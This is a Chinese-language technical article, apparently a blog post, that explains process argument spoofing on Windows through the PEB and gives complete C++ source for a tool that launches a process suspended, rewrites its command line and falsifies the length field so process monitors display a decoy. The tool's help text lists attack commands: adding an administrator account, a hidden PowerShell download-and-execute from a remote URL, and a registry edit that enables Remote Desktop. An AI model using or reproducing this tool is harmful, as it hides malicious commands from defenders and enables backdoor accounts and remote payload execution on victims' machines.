进程参数欺骗原理

前置

参数欺骗或者说参数伪造这个功能以前也有简单写过但是当时并没有详细的写原理,只简单介绍了一下然后用代码写了一个参数欺骗Demon

之前的文章(Demon不在这个文章里在我github上)

首先我们要明白进程是如何获得参数的,写一个最简单的打印参数的程序

int main(int argc, char* argv[])
{
printf("%s \n",argv[0]);
system("pause");
}

这个大家应该都用过,在main函数里面通过argv获取进程参数,但是你有想过argv是怎么来的吗,它又是谁赋的值

有过win32开发经验搞过crt的或者稍微了解逆向的,应该知道main函数并不是程序真正的入口点,一般情况程序的入口点是mainCRTStartup,main函数则是在mainCRTStartup初始完成CRT环境后被调用的,而在CRT初始化过程中会调用GetCommandLine函数,这个函数返回一个指针,这个指针指向进程命令行缓冲区

函数原型

WINBASEAPI
LPSTR
WINAPI
GetCommandLineA(
VOID
);
WINBASEAPI
LPWSTR
WINAPI
GetCommandLineW(
VOID
);

一些下面会用到的结构体提前先列出来

TEB

struct _TEB {
0x000 _NT_TIB NtTib;
0x01c void* EnvironmentPointer;
0x020 _CLIENT_ID ClientId;
0x028 void* ActiveRpcHandle;
0x02c void* ThreadLocalStoragePointer;
0x030 _PEB* ProcessEnvironmentBlock; /* 指向PEB */
0x034 DWORD LastErrorValue;
0x038 DWORD CountOfOwnedCriticalSections;
0x03c void* CsrClientThread;
0x040 void* Win32ThreadInfo;
0x044 DWORD User32Reserved[26];
0x0ac DWORD UserReserved[5];
0x0c0 void* WOW32Reserved;
0x0c4 DWORD CurrentLocale;
0x0c8 DWORD FpSoftwareStatusRegister;
0x0cc void* SystemReserved1[54];
0x1a4 int ExceptionCode;
0x1a8 _ACTIVATION_CONTEXT_STACK ActivationContextStack;
0x1bc DWORD SpareBytes1[24];
0x1d4 _GDI_TEB_BATCH GdiTebBatch;
0x6b4 _CLIENT_ID RealClientId;
0x6bc void* GdiCachedProcessHandle;
0x6c0 DWORD GdiClientPID;
0x6c4 DWORD GdiClientTID;
0x6c8 void* GdiThreadLocalInfo;
0x6cc DWORD Win32ClientInfo[62];
0x7c4 void* glDispatchTable[233];
0xb68 DWORD glReserved1[29];
0xbdc void* glReserved2;
0xbe0 void* glSectionInfo;
0xbe4 void* glSection;
0xbe8 void* glTable;
0xbec void* glCurrentRC;
0xbf0 void* glContext;
0xbf4 DWORD LastStatusValue;
0xbf8 _UNICODE_STRING StaticUnicodeString;
0xc00 WORD StaticUnicodeBuffer[261];
0xe0c void* DeallocationStack;
0xe10 void* TlsSlots[64];
0xf10 _LIST_ENTRY TlsLinks;
0xf18 void* Vdm;
0xf1c void* ReservedForNtRpc;
0xf20 void* DbgSsReserved[2];
0xf28 DWORD HardErrorsAreDisabled;
0xf2c void* Instrumentation[16];
0xf6c void* WinSockData;
0xf70 DWORD GdiBatchCount;
0xf74 UChar InDbgPrint;
0xf75 UChar FreeStackOnTermination;
0xf76 UChar HasFiberData;
0xf77 UChar IdealProcessor;
0xf78 DWORD Spare3;
0xf7c void* ReservedForPerf;
0xf80 void* ReservedForOle;
0xf84 DWORD WaitingOnLoaderLock;
0xf88 _Wx86ThreadState Wx86Thread;
0xf94 void** TlsExpansionSlots;
0xf98 DWORD ImpersonationLocale;
0xf9c DWORD IsImpersonating;
0xfa0 void* NlsCache;
0xfa4 void* pShimData;
0xfa8 DWORD HeapVirtualAffinity;
0xfac void* CurrentTransactionHandle;
0xfb0 _TEB_ACTIVE_FRAME* ActiveFrame;
};

_NT_TEB

typedef struct _NT_TIB
{
PEXCEPTION_REGISTRATION_RECORD ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union
{
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
PNT_TIB Self; //+18 指向自己(TEB)
} NT_TIB, *PNT_TIB;

PEB

struct _PEB {
0x000 BYTE InheritedAddressSpace;
0x001 BYTE ReadImageFileExecOptions;
0x002 BYTE BeingDebugged;
0x003 BYTE SpareBool;
0x004 void* Mutant;
0x008 void* ImageBaseAddress;
0x00c _PEB_LDR_DATA* Ldr;
0x010 _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
0x014 void* SubSystemData;
0x018 void* ProcessHeap;
0x01c _RTL_CRITICAL_SECTION* FastPebLock;
0x020 void* FastPebLockRoutine;
0x024 void* FastPebUnlockRoutine;
0x028 DWORD EnvironmentUpdateCount;
0x02c void* KernelCallbackTable;
0x030 DWORD SystemReserved[1];
0x034 DWORD ExecuteOptions:2; // bit offset: 34, len=2
0x034 DWORD SpareBits:30; // bit offset: 34, len=30
0x038 _PEB_FREE_BLOCK* FreeList;
0x03c DWORD TlsExpansionCounter;
0x040 void* TlsBitmap;
0x044 DWORD TlsBitmapBits[2];
0x04c void* ReadOnlySharedMemoryBase;
0x050 void* ReadOnlySharedMemoryHeap;
0x054 void** ReadOnlyStaticServerData;
0x058 void* AnsiCodePageData;
0x05c void* OemCodePageData;
0x060 void* UnicodeCaseTableData;
0x064 DWORD NumberOfProcessors;
0x068 DWORD NtGlobalFlag;
0x070 _LARGE_INTEGER CriticalSectionTimeout;
0x078 DWORD HeapSegmentReserve;
0x07c DWORD HeapSegmentCommit;
0x080 DWORD HeapDeCommitTotalFreeThreshold;
0x084 DWORD HeapDeCommitFreeBlockThreshold;
0x088 DWORD NumberOfHeaps;
0x08c DWORD MaximumNumberOfHeaps;
0x090 void** ProcessHeaps;
0x094 void* GdiSharedHandleTable;
0x098 void* ProcessStarterHelper;
0x09c DWORD GdiDCAttributeList;
0x0a0 void* LoaderLock;
0x0a4 DWORD OSMajorVersion;
0x0a8 DWORD OSMinorVersion;
0x0ac WORD OSBuildNumber;
0x0ae WORD OSCSDVersion;
0x0b0 DWORD OSPlatformId;
0x0b4 DWORD ImageSubsystem;
0x0b8 DWORD ImageSubsystemMajorVersion;
0x0bc DWORD ImageSubsystemMinorVersion;
0x0c0 DWORD ImageProcessAffinityMask;
0x0c4 DWORD GdiHandleBuffer[34];
0x14c void (*PostProcessInitRoutine)();
0x150 void* TlsExpansionBitmap;
0x154 DWORD TlsExpansionBitmapBits[32];
0x1d4 DWORD SessionId;
0x1d8 _ULARGE_INTEGER AppCompatFlags;
0x1e0 _ULARGE_INTEGER AppCompatFlagsUser;
0x1e8 void* pShimData;
0x1ec void* AppCompatInfo;
0x1f0 _UNICODE_STRING CSDVersion;
0x1f8 void* ActivationContextData;
0x1fc void* ProcessAssemblyStorageMap;
0x200 void* SystemDefaultActivationContextData;
0x204 void* SystemAssemblyStorageMap;
0x208 DWORD MinimumStackCommit;
);

分析

继续我们来分析一下GetCommandLineW的实现

可以看到GetCommandLineW是直接从一个地址中读取的值然后给eax,我们跟进查看是谁给此地址赋值的

双击进入
在这里就可以很清楚的看到是从PEB里取的值

如果你不明白为什么esi指向PEB可以去函数开头看一下esi是从哪里来的,基本就能明白

现在我们应该清楚进程参数该从哪里获取(PEB.ProcessParameters.CommandLine)

所以我们可以很简单的通过修改PEB达到目的 1.以暂停标志创建进程 2.修改PEB.ProcessParameters.CommandLine 3.继续运行进程

从上面也可以看出来CommandLine是一个UNICODE_STRING结构体

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

而GetCommandLine根据我们上面分析的结果,它并不解析其中的Length,单单返回Buffer。这就造成了一些问题,进程本身初始化获取参数时不会理会Length,但是部分进程管理工具会通过读取PEB寻找参数,然后依据UNICODE_STRING.Length去读取参数的长度,所以我们还可以利用这点欺骗进程管理工具

没更新参数前
开始写入
CE转到对应的进程地址可以看到原先的参数
写入完成后已经被更改了
这里故意破坏Length凡是依靠Length读取字符串的都会被截断
ProcessHacker读取时按照Length长度读取,导致被截断
最后弹出calc

代码

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include<string>
using namespace std;
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
ULONG ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
//SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
//SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
return false;
}
return true;
}
wstring charToWstring(const char* szIn)
{
int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
WCHAR* buf = new WCHAR[length + 1];
ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
std::wstring strRet(buf);
delete[] buf;
return strRet;
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
printf("-h help");
return 1;
}
if (strcmp(argv[1], "-h") == 0)
{
printf("[+] \" Escape \\\" \n");
printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
printf("[+] Common command: \n");
printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
return 1;
}
if (strlen(argv[1])<strlen(argv[2]))
{
printf("[!] Error: Parameter 1 is less than parameter 2 \n");
return 1;
}
STARTUPINFOA si;
PROCESS_INFORMATION pi;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS* parameters;
memset(&si, 0, sizeof(si));
si.wShowWindow = SW_HIDE;
memset(&pi, 0, sizeof(pi));
// 创建进程
success = CreateProcessA(
NULL,
argv[1],
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL,
//"C:\\Windows\\System32\\",
NULL,
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Unable to call CreateProcess to create process\n");
return 1;
}
_NtQueryInformationProcess ntpi = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
if (success == FALSE)
{
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return -1;
}
//从PEB获取ProcessParameters
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
//设置我们要使用的实际参数
wstring wspoofed = charToWstring(argv[2]);
WCHAR* wchar_wspoofed = (WCHAR*)wspoofed.c_str();
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)wchar_wspoofed, wcslen(wchar_wspoofed)* 2 + 1);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
//更新命令行长度欺骗进程浏览器
DWORD newUnicodeLen = 5;
success = WriteProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,4,NULL);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
ResumeThread(pi.hThread);
}

这块基本上算是对以前的一个补充想起来就写上了